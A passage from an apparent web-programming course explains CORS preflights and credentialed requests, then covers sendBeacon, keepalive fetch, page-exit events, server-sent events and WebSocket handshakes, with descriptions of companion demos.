|---|---|---|
| Firefox | 86400 seconds, 24 hours | Not documented |
| Chromium, version 76 and later | 7200 seconds, 2 hours | Caches for 5 seconds |
| Chromium, before version 76 | 600 seconds, 10 minutes | Caches for 5 seconds |
The Worker behind this series sends 86400. Firefox honors it, Chrome stores 7200 instead, and both drop the entry early when the cache is cleared or the network changes. Send the header, and do not build a latency budget that depends on the answer surviving.
One request becomes two, in sequence. On a 40 ms round trip a preflighted call starts 40 ms late; on a phone on a bad connection it is 200 ms or more, before the server has done any work. Three ways to stop paying it, best first:
X-Requested-With is a jQuery-era habit and no modern server reads it.Access-Control-Max-Age. The first call in a session pays; the rest do not, up to the browser's cap.Content-Type. Posting JSON bytes under text/plain is a real technique and a real lie. The server has to know to parse it anyway, proxies and logs will believe the header, and you have traded a documented request for a saved round trip.A cross-origin fetch sends no cookies by default. The credentials option defaults to 'same-origin': cookies on your own origin, nothing on anybody else's. XHR does the same with withCredentials defaulting to false.
That one line moves the whole exchange into a stricter mode, and the server has to answer differently or the browser blocks the read.
Access-Control-Allow-Credentials: true has to be on the response. It is the server saying the credentialed read is allowed.Access-Control-Allow-Origin has to name your origin. * is refused, and refused loudly: the request succeeds on the wire and the browser blocks the read.Access-Control-Allow-Methods, Access-Control-Allow-Headers, and Access-Control-Expose-Headers lose the wildcard too. List every value.Access-Control-Allow-Credentials: true, or the real request never goes.Naming the origin means reading Origin off the request and reflecting it. The response now varies by request, so send Vary: Origin or a shared cache will hand one origin's response to another. worker/api/http.js in this repository does all three: an allowlist, a reflected origin, and the Vary.
Getting all four right and still seeing no cookie is common, and the reason is usually the cookie rather than CORS. Chrome treats a cookie with no SameSite attribute as SameSite=Lax, which is not sent on a cross-site request. Reaching it needs SameSite=None; Secure from the server that set it. Firefox does not apply the Lax default, having tried and reverted it, so the same page can work in one browser and not the other. Module 7 covers the cookie flags.
mode: 'no-cors' is not a way around any of thisThe name suggests it skips the CORS check. It hands you a response object with nothing in it.
The promise resolves. Nothing threw, and there is no data. The request is also restricted to GET, HEAD, and POST with safelisted headers, the same list that avoids a preflight. Two jobs it does honestly are firing a request whose answer you do not need, and storing a third-party asset in the Cache for a service worker to serve later.
CORS is enforced by browsers. Your server is not a browser. It can fetch anything, and it can serve the result from your own origin, where the same-origin policy has nothing to say.
From the page it is fetch('/api/upstream/v1/posts'). No preflight, no allowlist, no exposed headers, no opaque failure. Six things moved onto your side.
Before CORS there was one hole in the same-origin policy that had always been there: <script src> may point anywhere. JSONP used it. You added a script tag pointing at the remote API with a callback name in the query string, and the server answered with JavaScript instead of JSON: handlePosts({"posts": […]}). The browser ran it, your function received the data, and no policy was violated because nothing had read a response.
The remote server is executing arbitrary JavaScript in your page, with your cookies and your DOM. It is GET-only, it has no error handling worth the name, and one compromised provider owns every page that included it. CORS replaced it.
The site answers on two host names, cse134.site and cse134site.tpowell.workers.dev. Both serve the same Worker and the same demo file, so which one is same-origin depends entirely on the address bar. The page resolves both from location.origin when it loads and labels them at runtime. Open it on the other host and the two lines at the top trade places, along with every result underneath them.
What changed from step 07: the retry loop, the endpoint selector, and the race are gone. Every call here is one attempt, because a blocked read is not a failure a second try can fix. The instrumentation strip keeps the load counter, the request counter, the build time, and the query string, and adds a count of the reads the browser refused to hand over.
Six things to run.
&cors=off tells the Worker to answer normally and send no CORS headers. The row shows what your catch block received: a TypeError, no status, no headers, no body. Open the console and the reason is there in a sentence.CORS error and the row lists the headers it sent. The panel does not show the response.response.type is opaque, status is 0, and the body is zero bytes.OPTIONS and then the POST. Press the urlencoded button instead and there is one row, because that Content-Type is safelisted. Press the JSON button a second time, with Disable cache unchecked, and the OPTIONS is gone, because the answer is cached.The waterfall at the bottom of the demo does not show the OPTIONS. It records what the page's script does, by wrapping fetch and XMLHttpRequest, and the preflight is sent by the browser between your call and your request. No wrapper inside the page can see it. Use DevTools for that row.
CORS is about permission to read. The rest of this step is about what you are reading and whether it will be there tomorrow.
Screen scraping is parsing a page that was never meant to be parsed. There is no contract. A designer renames a class, a framework upgrade changes the DOM, an A/B test serves half your requests a different layout, and your selector returns an empty list.
The failure mode is worse than an outage. A selector that matches the wrong element keeps returning strings, and the strings are wrong. Check the shape of what you extracted before you use it, the same way step 07 checked a parsed body.
Anything served to a browser can be read by a program. Whether you may is a different question, answered by the site's terms, its robots.txt, and the volume you send. Scraping cases have gone both ways in court and the law is still moving. The engineering answer does not depend on how they come out: identify yourself, request at a human rate, cache what you take, and stop when you are asked to.
A mashup combines sources into something none of them offered. The canonical one is a map with somebody else's listings on it, and around 2006 that pattern was most of what "Web 2.0" meant. Every source is a dependency you do not control and cannot fix.
Google Maps moved to pay-as-you-go pricing on June 11, 2018, with a $200 monthly credit that covered small sites. That credit was retired in March 2025 and replaced with a smaller per-product free tier. Twitter announced the end of free API access for February 9, 2023, and the $100 entry tier arrived that March. Both changes were announced in advance and permitted by the terms the developers had agreed to.
X-RateLimit- headers if they send them, obey Retry-After from step 07, and back off on 429.Every request in this series so far has been one question and one answer, started by the page. Step 9: Beyond request and response covers the shapes that are not that:
navigator.sendBeacon and keepalive, for the request that has to survive the pageStep 09
Every request in the last eight steps had the same shape. The page asked, the server answered, your code read the answer. The course deck splits communication along two axes: one-way or two-way, synchronous or asynchronous. Steps 03 through 08 filled one box, two-way and asynchronous. This step covers the other boxes: a message you send and cannot read an answer to, a connection the server writes to without being asked again, and a connection both ends write to.
fetch started in an unload handler often never leaves the machinenavigator.sendBeacon and say what its return value does and does not promiseContent-Type the browser sets for each kind of beacon payloadsendBeacon and fetch(url, { keepalive: true }) and state the size limit they shareunload costsEventSource, read the wire format, and stop it from reconnecting when the run is overretry:, id:, and Last-Event-ID donavigator.sendBeaconAnalytics, error reports, and "how long did they read this" all want to send something as the user leaves. The obvious code does not work. When a document goes away the browser tears down its fetch group and cancels the requests in it, and a fetch started in an exit handler is usually one of them.
navigator.sendBeacon(url, data) is the fix. It hands the data to the browser, which owns the request from then on, and returns a boolean immediately. There is no promise, no callback, and no response object. You never learn what the server said.
| What it returns | What that means |
|---|---|
true | The browser queued the data for transfer. Not that it was sent, not that it arrived, not that the server answered 2xx. The transfer happens after your code returns. The Beacon specification says so. |
false | The browser refused to queue it. The specification names one cause: the payload would push the keepalive budget over its limit. |
A thrown TypeError | The URL did not parse, or its scheme is not http or https. Chrome 151 says Beacons are only supported over HTTP(S). |
The request is a POST, always, with credentials included, so cookies go with it. The Content-Type is decided by what you pass, and that choice decides whether a cross-origin beacon preflights. Measured on the wire in Chrome 151 against /api/echo:
| What you pass | Content-Type sent | Request mode | Preflights cross-origin |
|---|---|---|---|
| A string | text/plain;charset=UTF-8 | no-cors | No |
URLSearchParams | application/x-www-form-urlencoded;charset=UTF-8 | no-cors | No |
FormData | multipart/form-data; boundary=… | no-cors | No |
ArrayBuffer, a typed array, or an untyped Blob | None | no-cors | No |
new Blob([json], { type: 'application/json' }) | application/json | cors | Yes |
fetch with keepalivefetch(url, { keepalive: true }) sets the same flag on the request that sendBeacon sets, so the browser keeps it alive past the document. It is the more capable of the two: any method, your own headers, and a real Response, if the page survives to read it.
Both share one budget. The Fetch standard adds up the bodies of every keepalive request still in flight in the document's fetch group, adds the new one, and returns a network error if the total is over 64 KiB.
The 1 KiB call and the 10 KiB call are both small, and only the second one fails. The budget is summed. Over it, sendBeacon returns false and fetch rejects with a TypeError. Send small payloads, and if you have a lot to report, send it during the session rather than at the end of it.
Having a transport that survives the page does not tell you when to use it. Pick the wrong event and the code never runs, or it runs and costs the user a slower back button.
unload is not the answer, and is going awayvisibilitychange as the only event guaranteed to fire in that case.unload listener into the back/forward cache. Chrome's notRestoredReasons reports it as unload-listener. Chrome on Android and Safari cache the page anyway and never run the handler. The data is lost either way.Permissions-Policy: unload=() turns it off early.beforeunload is not a substitute. Its job is the "you have unsaved changes" prompt and nothing else. Chrome caches a page that has one; MDN says Firefox will not.
Send on visibilitychange when document.visibilityState is 'hidden'. That fires when the tab is switched, when the window is minimized, when the phone goes to the home screen, and on the way out of the page. Add pagehide for the desktop case where a tab is closed without ever being hidden.
A page entering the back/forward cache fires pagehide with persisted set to true, then visibilitychange, and no unload. Coming back fires pageshow with persisted true, and visibilitychange again. Both handlers above run more than once in a session that uses the back button. Make the payload safe to send twice.
An exit beacon is a request the user cannot see, cannot cancel, and gets no feedback about. Analytics beacons routinely carry a session ID, the URL, the referrer, scroll depth, and how long the page was open, which together identify a person's reading across a site. Write down what is in the payload, put it in the privacy policy, and drop the fields nobody has asked a question about. The demo below prints its payload on the page before it sends it.
HTTP is a request and a response. The client speaks first, every time. For the first decade of the web there was no way for a server to say anything to a page that had not just asked, and applications that needed it built three workarounds. Alex Russell named the family Comet on March 3, 2006, in a post called Comet: Low Latency Data for the Browser. His own gloss on the name was "it doesn't stand for anything, and I'm not sure that it should."
Ask again on a timer. setInterval and a fetch every two seconds, and the page is never more than two seconds behind. Every one of those requests costs a round trip, a set of headers, and a handler invocation on the server, and almost all of them answer "nothing new." Halving the delay doubles the cost and halves the lag.
Send the request and let the server hold it. No answer comes back until there is something to say or a timeout fires, and the client sends the next request the moment the last one lands. The lag drops to the network time. The cost is a server thread or connection parked per idle client, which killed it on the thread-per-request servers of 2006, and a gap between the response arriving and the next request leaving where an event can be missed.
Return a response and never finish it. The server sends a chunk, flushes, and keeps the connection open, and the browser processes what has arrived. The 2006 version put a hidden <iframe> on the page and wrote <script> tags into it, each one calling a function in the parent document. Proxies that buffered responses broke it, the browser's loading indicator spun the entire time, and the document's memory use grew for as long as the stream lasted.
All three are the same request-response protocol with the client arranging to always have a request in flight. Server-sent events and WebSocket replaced the arrangement with a protocol feature. RFC 6455 standardized WebSocket in December 2011.
One line opens a connection the server writes to for as long as it wants.
The server answers with Content-Type: text/event-stream and writes records. A record is one or more fields, one per line, followed by a blank line. The blank line dispatches the event.
| Field | What it does | Default when absent |
|---|---|---|
event: | Names the event, so addEventListener('tick', …) receives it | message, delivered to onmessage and to addEventListener('message', …) |
data: | The payload. Repeat the line and the values are joined with a newline. | The event is not dispatched at all |
id: | Stores an ID the client sends back as Last-Event-ID on its next reconnect | No header on reconnect, so the server cannot resume |
retry: | Sets the reconnection delay in milliseconds, for this and every later reconnect | Implementation-defined. Chrome uses 3000, Firefox 5000. |
: at the start of a line | A comment, ignored. Servers send one every so often to keep an idle connection from being closed by a proxy. | Nothing |
The stream is UTF-8, and the specification allows no other encoding. The client sends a GET and cannot send anything else, cannot set a request header, and cannot receive binary. The constructor takes a URL and one option, withCredentials. Cross-origin, an EventSource is subject to CORS like any other read, so step 08 applies to it in full.
Send an id: with each record and the client stores it. On the next reconnect it sends the last one back in a Last-Event-ID request header, and a server that keeps a log can send what was missed. Without id: there is no header, and a reconnect is a fresh start with a gap in it. The endpoint in this series sends no id:, so the demo's lastEventId column is empty in every row.
Over HTTP/1.1 a browser opens at most six connections per origin, and an open EventSource holds one of them for its whole life. Six streams to one host and every other request to that host waits, across all tabs, because the limit is per browser and origin rather than per page. Over HTTP/2 the streams are multiplexed on one connection and the ceiling is SETTINGS_MAX_CONCURRENT_STREAMS, which the server advertises and RFC 9113 recommends be no lower than 100. Serve SSE over HTTP/2.
Both ends send whenever they have something to send, over one connection, in text or binary.
It starts as HTTP. The browser sends a GET with an Upgrade header, and a server that agrees answers 101 and stops speaking HTTP.
Sec-WebSocket-Key is a random 16-byte nonce, base64 encoded. The server appends a fixed public GUID, takes the SHA-1 of that string, base64 encodes the digest, and returns it as Sec-WebSocket-Accept. It proves the responder understood the request as a WebSocket handshake rather than a cache or a plain HTTP endpoint being talked into forwarding frames.
After the 101 the connection is a frame stream. Nothing from HTTP applies to what travels on it.
Cache-Control, no conditional request. Everything is sent to every client every time.Content-Type and Accept-Encoding apply to the handshake and to nothing after it. Compression exists as a negotiated extension, permessage-deflate.new WebSocket(url, protocols) takes a URL and a subprotocol list. There is no way to send an Authorization header, so credentials go in a cookie, a query string, or the first message.A close event carries a code. 1000 is a normal close and 1001 means one end is going away, including the browser navigating off the page. 1006 never travels on the wire: the browser writes it locally when the connection died without a close frame, and event.wasClean is false. Most production reconnect logic is written against 1006.
ws: and wss: are the two schemes, on ports 80 and 443. A page served over HTTPS cannot open a ws: connection: it is blockable mixed content, it is not upgraded for you, and there is no prompt. Use wss:.
Use a WebSocket when the server initiates and the messages are frequent. Chat, multiplayer game state, collaborative editing, live cursors, a trading feed. All of them carry traffic both ways, often enough that a round trip per message is the cost that matters.
A notification badge that changes twice an hour is not that. Neither is a dashboard that refreshes on the minute, or a progress bar for a job on your own server. Poll the first two and use SSE for the third. Each held socket is a connection, a load-balancer slot, and per-client state on a server that could otherwise have forgotten you between requests. You write the reconnect and the heartbeat.
| Polling | SSE | WebSocket | |
|---|---|---|---|
| Direction | Client asks | Server sends | Both |
| Protocol | HTTP | HTTP | HTTP for the handshake only |
| Payload | Anything | UTF-8 text | Text or binary |
| Reconnect | Not applicable | Automatic, with Last-Event-ID | Yours to write |
| Caching, status codes, headers | All of HTTP | All of HTTP | Handshake only |
| Cross-origin | CORS | CORS | Origin header, checked by the server |
| Cost while idle | A request per interval | One held connection | One held connection |
What changed from step 08: the second origin, the preflight, and the posts list are gone. Every call is same-origin, and none of them is a question with an answer you read. The instrumentation strip keeps the load counter, the build time, and the query string, and counts ticks, beacons, and restarts.
Five things to run.
tick rows arrive a second apart, then done, then a close() row. readyState ends at 2 (CLOSED) and nothing else happens.done the row is an error with readyState back at 0 (CONNECTING), and about three seconds later the ticks start over at n=1. The restart counter moves. The page stops after two restarts. A page with this bug in production would not.visibilitychange with no button pressed, and the row names the trigger. The value in the last column is what navigator.sendBeacon returned.fetch keepalive call appears in it, with its 202. The beacons are invisible to it, and so is the stream.The panel records this page's traffic by wrapping fetch and XMLHttpRequest, which covers every call steps 03 through 08 made and one of the three this page makes. EventSource and navigator.sendBeacon are separate APIs, so nothing wrapping fetch sees them. Open DevTools and select the Network panel: the stream is one row of type eventsource that stays pending for the length of the run, and each beacon is its own POST row.
The demo has no WebSocket in it. The Worker behind this series has no WebSocket route and adding one to teach the client API is more server than the series is willing to write. The handshake above is what goes over the wire; run it against a local ws:// server or a public echo service to watch it happen.
Step 01 was a form with no JavaScript in it. It serialized its fields, chose a method, sent the request, handled the response, and told the user what happened, and you wrote none of that. Every step since replaced one piece of it with code of your own. You took the request, the encoding, the error handling, the retry, the permission check, and finally the connection.
Each replacement bought something the form could not do. Each one also moved a job the browser was already doing onto you, permanently. Ask two questions of the next network API you pick up: what was the browser doing here, and what happens to that now.
The APIs series continues into storage and the observers. The Browser for Programmers is the other half of every step here: module 2 for what happens between the URL and the first byte, module 7 for the security model behind step 08, and module 8 for what the browser keeps after the response is read.